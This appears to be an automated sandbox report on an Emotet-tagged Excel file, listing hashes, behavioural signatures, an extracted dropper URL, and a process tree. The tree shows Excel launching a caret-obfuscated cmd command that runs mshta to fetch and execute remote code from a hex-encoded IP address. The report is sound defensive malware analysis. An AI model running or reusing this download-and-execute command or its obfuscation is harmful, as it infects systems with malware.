Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    139s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    21/01/2022, 03:56

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General

  • Target

    322c57757251a738ad054ef39b079a236e8f4747bd3ea260a3494021ca5e14d9.xls

  • Size

    70KB

  • MD5

    b71a316fc7194803fb606159db17c473

  • SHA1

    3affa523fa904b62cdc965377355cc65dc6128c4

  • SHA256

    322c57757251a738ad054ef39b079a236e8f4747bd3ea260a3494021ca5e14d9

  • SHA512

    a579cf434a0592eaa0728ba25fa78a9a7a65e0c1b01062c7af7df9dffcf9fc53e30400f8877e14c616abc4d9e9752556f0ab90cb924c829e9de632ce0bc770cb

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\322c57757251a738ad054ef39b079a236e8f4747bd3ea260a3494021ca5e14d9.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3224
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1188
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        PID:540

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3224-115-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3224-116-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

    Download